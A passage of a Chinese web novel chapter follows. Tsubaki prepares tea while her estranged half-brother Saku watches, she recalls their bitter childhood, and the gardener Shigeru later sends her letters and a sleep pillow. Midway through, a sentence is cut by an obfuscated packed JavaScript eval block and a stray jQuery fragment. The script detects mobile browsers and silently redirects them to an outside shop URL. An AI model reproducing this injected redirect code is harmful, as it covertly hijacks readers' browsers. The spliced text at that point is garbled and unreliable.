窗外的秋雨似乎更密了些，敲打声愈发清晰，将椿从回忆中拉扯出来。


    她深吸一口气，定了定神，将杂念摒除继续下一个步骤。执起茶釜的柄，将热水缓缓注入茶碗，水流控制得极好。


    这时，茶室的纸门被无声地拉开了一道缝隙。


    是朔。


    他穿着一件深青灰色的家常和服，外面随意罩着件鼠色的羽织，头发似乎被廊外的雨气沾染，带着湿意。


    开门看见室内正在点茶的椿，动作顿住了，没有立刻进来，也没有退出去。


    室内的灯光是柔和的纸灯罩散发出的暖黄光晕，与门外灰蒙蒙的、带着水汽的天光截然不同。


    那道由门外渗入的光线恰好形成一道狭长的光带，落在椿跪坐时并拢的、覆盖在袴下的膝盖上，停留了好一会儿。


    椿没有理会门口的动静，她用茶筅开始快速而有力地搅动茶汤，手腕稳定，茶汤表面逐渐泛起细密均匀的绿色泡沫。


    朔在门口静立了片刻，见她毫无反应，便自顾自地走了进来，然后轻轻拉上了纸门，隔绝了外界的雨声与冷意。


    没有靠近，他在离门不远不近的位置寻了一个蒲团，安静地跪坐下来，如同许多年前那个傍晚他跪在门外等待时一样。


    茶室内，只剩下茶筅与茶碗边缘碰撞发出的声响，以及室外那永不停歇般的、淅淅沥沥的雨声。


    对于朔的不请自来与沉默跪坐，椿心中是避之不及的。


    然而此刻若她强行起身离开，反倒显得自己气弱，仿佛被他扰乱了心神。


    于是，她决定沿用多年来最有效，也最伤人的方式。


    她无视他，就如同一直以来那样。


    她收敛心神，将全部注意力重新倾注于手中的茶道。点茶的步骤缓缓推进，茶筅在茶碗中规律地搅动发出“沙沙”的轻响。


    当时辰已到，最后一步茶碗清洁后归位，一直沉默如影的朔才终于开口。


    他的声音在寂静的茶室里显得格外清晰，“姐姐点茶的技艺愈发精湛了，不真的可不可以赏我一杯？”


    椿眼帘未抬，听不出喜怒：“请便。”


    得到允许朔才缓缓起身，移至她正对面的位置，重新规整地跪坐下来。他伸出双手以茶道中标准的礼节，接过椿推至他面前的茶碗。


    左手托碗底，右手扶碗沿，先将茶碗向右转动两次，分三口缓缓将碧绿的茶汤饮尽，最后轻轻吸吮。


    饮毕他再次将茶碗转动，使正面朝向自己，然后轻轻放回原位。


    “跟原来一样。”他放下茶碗后，轻声说道。


    椿语气依旧冷淡：“练习了那么多年，若是还和小时候一样的话，那也太不应该了。”


    她以为他指的是茶的味道。


    朔垂眸，浓密的睫毛在眼下投下一小片阴影，他眨了眨眼才低声道：“不是这个意思。”


    不是这个意思？那是什么意思？


    他们两人说话，向来便是如此。话说一半，不说全，仿佛都在小心翼翼地试探着对方的边界，又都吝于给予明确的回应。


    若是将话说得太满，没有了转圜的余地，那才真是走到了无法回头的地步。


    就如同他们关系彻底破裂，她冲他声嘶力竭地喊：“我全世界最讨厌你。”


    其实那时心中翻涌的何止是讨厌，应该是恨。


    恨他的出现打破了家庭的平静，恨他母亲的身份，恨他分走了父亲的部分关注，更恨他那副总是隐忍、仿佛受了天大委屈的模样。


    但“我恨你”这三个字，终究太过决绝，想想便满口血腥，她终究未能说出口。


    小时候，每次她被森村老师责罚后掌心红肿，心情低落，朔便会拉着她在无人的角落陪她练习。那些因步骤错误或火候不佳而味道苦涩的废弃茶汤，最后几乎全都进了他的肚子里。


    他每次喝完，只会抬起那双清澈的眼睛看着她，认真地说：“好喝。”


    会好喝吗？


    椿至今回想起来，仍觉得不可思议。


    抹茶本身带着天然的苦味与涩感，需要精湛的点茶技巧和合适的水温才能激发出其后的回甘。那些失败的茶汤过于苦涩，对于味蕾敏感的孩子来说绝非愉快的体验。那更像是大人才会欣赏的、充满复杂性的味道。


    直到现在，椿自己其实也并不爱喝抹茶，她只是擅长表演茶道。


    不过现在想来，她人生中大半不成功的茶水，似乎都落入了朔的肚子里。而她人生中大半的、或认真或敷衍的茶道表演，观众似乎也只有他一人。


    想着这略带讽刺的现实，她不由得从鼻腔里轻轻哼笑了一声。


    见她笑了，一直观察着她神色的朔嘴角也微微向上牵动了一下，他轻声问：“姐姐在想什么？”


    椿摇了摇头，没有回答。


    窗外的雨声不知何时变得稀疏了些，茶室内暖黄的灯光笼罩着两人，空气中弥漫着抹茶的清苦香气和旧茣蓙的干燥气味。


    朔沉默了片刻，像是斟酌着词句。


    “听闻……一条家那边，似乎有将婚期提前的意向？”


    椿脸上的笑意落下，她继续着手上的动作，清理茶杓、茶筅，将它们一一归位。


    她没有回答。


    朔看着她瞬间冷下来的侧脸，伸出手，似乎想帮她收拾茶渣。


    “啪。”


    椿毫不客气地拍开了他伸过来的手，她抬起眼，“你总是这样。”


    他总是在气氛稍有缓和时，说出她最不想听的话，做她最不想看到的事，精准地破坏掉那一点点可怜的安宁。


    若是落在从前，她怕是早就动手了。


    刚得知父亲认下他的那段时日，椿是极其不待见他的。但他却像甩不掉的影子总是喜欢凑上来，他姓了成濑，出入宅邸各处便如同无人之境，他总是能轻易地找到她。


    有一次，她积压的怒火终于爆发，抓起随身携带的丝绸手袋没头没脑地朝他身上打去，一边打一边失控地哭喊：“为什么你总是这个样子？为什么总像哈巴狗一样凑上来？为什么总是一副受害人的模样？为什么明明知道怎么样会让我心烦，却总是要来惹我，把我衬得像个疯子一样？”


    她吼完这句话后，空气死寂。


    朔没有躲闪，也没有辩解，只是用那种她至今回想起来都觉得心悸的眼神望着她。


    没有人松口，就像在进行一场无声的较劲。


    不过就如同朔了解她如何能被刺痛一样，椿也同样了解他。


    她知道，比起刻薄的言语和冲动的暴力，彻底的无视才是最能令他感到悲伤和无力的方式。


    既然她不好过，她也绝不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277993|197308||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    希望对方好过。


    于是从某一天起她开始彻底地无视他，这么一无视，便是许多年。


    *


    自那日茶室不欢而散后，椿便不再于家中练习茶道。


    她总是在学校的茶道部活动室，与顾问老师和部员们一同演练数轮，待技艺纯熟、心境平复后，方才返回成濑宅。


    父亲万太郎夏日祭典的繁忙早已告一段落，得了清闲，便注意到椿时常缺席家庭晚膳。


    他对此颇为不满，认为这有违家族团聚的礼数。几次三番让女侍传话后，椿无法再推脱，只得重新出现在晚餐的食案前。于是，便不可避免地要与朔对坐。


    食案之上，气氛比以往更加凝滞。


    椿与朔之间的话，比以往点头之交时更少，如今竟是连眼神交汇都嫌多余。


    她全程低眉敛目，专注于眼前的菜肴，仿佛对面坐着的只是一团空气。朔亦是沉默，只是偶尔椿能感觉到那道沉静的目光落在自己身上。


    这令她食欲都减了几分。


    之后石川茂那边隔三差五送至信笺，那些信总是被小心地压在椿房中每日更换鲜花的花瓶底下。


    茂平日里寡言少语，因耳疾之故，除了椿会不厌其烦地放慢语速、清晰发音与他交流外，宅邸中甚少有人与他多言。


    故而他能倾注于笔端的话语，竟不知不觉间模仿了椿的口吻与样式。


    椿什么都与他诉说，开心的如学校里有趣的课程，同学间无伤大雅的玩笑，茶道部练习的进展。不开心的如父亲对晚膳的苛责，以及那些挥之不去的梦境。


    而茂的回信，则像他照料的花草一般。


    他写近日修剪了哪几株过于繁盛的紫阳花残枝，又在苗圃的东南角新播下了明年早春才会开放的福寿草种子。


    写那几盆珍贵的寒兰需得格外留心，遇连绵阴雨需移入檐下，若逢秋阳过烈则要适当遮荫。


    写他观察着天气，记录着每一场秋雨过后，庭院里泥土的湿度和空气的凉意。


    他的世界简单而专注。


    后来椿又找了许多空白的稿纸给他，依旧是笑着说：“随便写，想到什么就写什么，不用舍不得。”


    她有空便教他新的字，有时是在午后无人的廊下，阳光暖暖地照着，她用手指在木地板上比划，或用树枝在沙土上书写。


    有时是在她放学归来，见他还在庭院劳作便唤他过来，就着夕阳的余晖，在随身携带的小本子上写下几个字。


    时间若再充裕些，她甚至会找来一些简短的和歌或汉诗，用舒缓的语调念给他听。


    椿依旧持续性地被梦境困扰。


    那些梦光怪陆离，有时是童年茶室森村老师的木尺，有时是东京博览会上熏与澄交错的身影，有时是辉夜在月光下偏执的泪眼，更多时候是一种无端的坠落与追逐感。


    每每醒来都觉身心俱疲，仿佛一夜未曾安眠。她在给茂的信中随口提了一句连续数日睡眠不佳，精神不济。


    不过几日当她某日回到房中，发现花瓶底下除了信笺，还多了一个素色的麻布睡枕。


    她好奇地拿起，闻到一股清幽恬淡的混合干花香。里面似乎塞满了晒干的薰衣草、洋甘菊和陈皮等物，都是民间常用的助眠安神之物。


    没有只言片语，但她知道这是茂的手笔。